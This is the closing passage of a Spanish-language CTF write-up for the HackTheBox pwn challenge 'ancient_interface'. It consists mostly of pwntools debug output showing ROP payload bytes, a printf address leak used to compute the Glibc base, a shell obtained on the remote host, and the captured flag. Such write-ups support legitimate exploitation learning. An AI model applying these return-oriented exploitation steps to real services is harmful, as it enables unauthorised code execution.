    b'ls\n'
[DEBUG] Received 0x44 bytes:
    b'build-docker.sh  challenge  core  Dockerfile  solve.py\ttest  test.c\n'
build-docker.sh  challenge  core  Dockerfile  solve.py    test  test.c

Curiosamente, si quitamos context.log_level = 'DEBUG', el exploit fallará. Probablemente por algunos problemas de IO.

Flag

Ejecutemos el exploit de forma remota (mi versión local de Glibc es la misma en remoto, de Ubuntu 20.04):

$ python3 solve.py 46.101.10.90:30565
[*] './challenge/ancient_interface'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 46.101.10.90 on port 30565: Done
[*] Loaded 17 cached gadgets for 'challenge/ancient_interface'
[DEBUG] Received 0xb bytes:
    b'user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[DEBUG] Received 0xb bytes:
    b'user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'

...

[DEBUG] Received 0xb bytes:
    b'user@host$ '
[DEBUG] Sent 0x9 bytes:
    b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  43 1d 40 00  00 00 00 00  │AAAA│AAAA│C·@·│····│
    00000010  48 40 40 00  00 00 00 00  74 11 40 00  00 00 00 00  │H@@·│····│t·@·│····│
    00000020  90 12 40 00  00 00 00 00  41 41 41 41  41 41 41 41  │··@·│····│AAAA│AAAA│
    00000030  41 41 41 41  41 41 41 41  0a                        │AAAA│AAAA│·│
    00000039
[DEBUG] Received 0x3f0 bytes:
    00000000  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000010  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000020  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000030  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000040  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    00000050  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000060  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000070  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000080  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000090  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000000a0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    000000b0  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    000000c0  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    000000d0  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    000000e0  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    000000f0  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000100  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000110  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000120  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000130  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000140  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    00000150  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000160  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000170  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000180  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000190  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000001a0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    000001b0  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    000001c0  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    000001d0  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    000001e0  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000001f0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000200  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000210  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000220  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000230  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000240  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000250  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000260  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000270  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000280  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000290  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000002a0  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    000002b0  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    000002c0  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    000002d0  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    000002e0  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000002f0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000300  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000310  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000320  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000330  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    00000340  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000350  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000360  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000370  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000380  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000390  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    000003a0  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    000003b0  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    000003c0  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    000003d0  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    000003e0  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000003f0
[DEBUG] Received 0x7 bytes:
    00000000  90 ac 61 fc  23 7f 0a                               │··a·│#··│
    00000007
[*] Leaked printf() address: 0x7f23fc61ac90
[+] Glibc base address: 0x7f23fc5b9000
[DEBUG] Received 0x16 bytes:
    b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'

...

[DEBUG] Sent 0x8 bytes:
    b'alarm 2\n'
[DEBUG] Received 0x16 bytes:
    b'user@host$ user@host$ '
[DEBUG] Sent 0x9 bytes:
    b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
    00000000  41 41 41 41  41 41 41 41  43 1d 40 00  00 00 00 00  │AAAA│AAAA│C·@·│····│
    00000010  bd d5 76 fc  23 7f 00 00  1a 10 40 00  00 00 00 00  │··v·│#···│··@·│····│
    00000020  90 b2 60 fc  23 7f 00 00  41 41 41 41  41 41 41 41  │··`·│#···│AAAA│AAAA│
    00000030  41 41 41 41  41 41 41 41  0a                        │AAAA│AAAA│·│
    00000039
[*] Switching to interactive mode
[DEBUG] Received 0x3fb bytes:
    00000000  75 73 65 72  40 68 6f 73  74 24 20 41  6c 61 72 6d  │user│@hos│t$ A│larm│
    00000010  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    00000020  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000030  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000040  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    00000050  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000060  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    00000070  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000080  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000090  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    000000a0  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    000000b0  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    000000c0  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    000000d0  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    000000e0  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    000000f0  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000100  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000110  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000120  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000130  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000140  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    00000150  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    00000160  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    00000170  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    00000180  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    00000190  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    000001a0  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    000001b0  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    000001c0  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    000001d0  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    000001e0  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    000001f0  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000200  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    00000210  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000220  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000230  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000240  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    00000250  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    00000260  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    00000270  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    00000280  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    00000290  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    000002a0  62 65 65 6e  20 68 69 74  21 0a 00 41  6c 61 72 6d  │been│ hit│!··A│larm│
    000002b0  20 68 61 73  20 62 65 65  6e 20 68 69  74 21 0a 00  │ has│ bee│n hi│t!··│
    000002c0  41 6c 61 72  6d 20 68 61  73 20 62 65  65 6e 20 68  │Alar│m ha│s be│en h│
    000002d0  69 74 21 0a  00 41 6c 61  72 6d 20 68  61 73 20 62  │it!·│·Ala│rm h│as b│
    000002e0  65 65 6e 20  68 69 74 21  0a 00 41 6c  61 72 6d 20  │een │hit!│··Al│arm │
    000002f0  68 61 73 20  62 65 65 6e  20 68 69 74  21 0a 00 41  │has │been│ hit│!··A│
    00000300  6c 61 72 6d  20 68 61 73  20 62 65 65  6e 20 68 69  │larm│ has│ bee│n hi│
    00000310  74 21 0a 00  41 6c 61 72  6d 20 68 61  73 20 62 65  │t!··│Alar│m ha│s be│
    00000320  65 6e 20 68  69 74 21 0a  00 41 6c 61  72 6d 20 68  │en h│it!·│·Ala│rm h│
    00000330  61 73 20 62  65 65 6e 20  68 69 74 21  0a 00 41 6c  │as b│een │hit!│··Al│
    00000340  61 72 6d 20  68 61 73 20  62 65 65 6e  20 68 69 74  │arm │has │been│ hit│
    00000350  21 0a 00 41  6c 61 72 6d  20 68 61 73  20 62 65 65  │!··A│larm│ has│ bee│
    00000360  6e 20 68 69  74 21 0a 00  41 6c 61 72  6d 20 68 61  │n hi│t!··│Alar│m ha│
    00000370  73 20 62 65  65 6e 20 68  69 74 21 0a  00 41 6c 61  │s be│en h│it!·│·Ala│
    00000380  72 6d 20 68  61 73 20 62  65 65 6e 20  68 69 74 21  │rm h│as b│een │hit!│
    00000390  0a 00 41 6c  61 72 6d 20  68 61 73 20  62 65 65 6e  │··Al│arm │has │been│
    000003a0  20 68 69 74  21 0a 00 41  6c 61 72 6d  20 68 61 73  │ hit│!··A│larm│ has│
    000003b0  20 62 65 65  6e 20 68 69  74 21 0a 00  41 6c 61 72  │ bee│n hi│t!··│Alar│
    000003c0  6d 20 68 61  73 20 62 65  65 6e 20 68  69 74 21 0a  │m ha│s be│en h│it!·│
    000003d0  00 41 6c 61  72 6d 20 68  61 73 20 62  65 65 6e 20  │·Ala│rm h│as b│een │
    000003e0  68 69 74 21  0a 00 41 6c  61 72 6d 20  68 61 73 20  │hit!│··Al│arm │has │
    000003f0  62 65 65 6e  20 68 69 74  21 0a 00                  │been│ hit│!··│
    000003fb
user@host$ Alarm has been hit!
\x00larm has been hit!
\x00larm has been hit!

...

\x00larm has been hit!
\x00larm has been hit!
\x00$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2f bytes:
    b'ancient_interface\n'
    b'ancient_interface.c\n'
    b'flag.txt\n'
ancient_interface
ancient_interface.c
flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
    b'HTB{sh0u1d_h4v3-CH3ck3d_r34D-R3tUrn_v4l_:^)}\n'
HTB{sh0u1d_h4v3-CH3ck3d_r34D-R3tUrn_v4l_:^)}

El exploit completo se puede encontrar aquí: solve.py.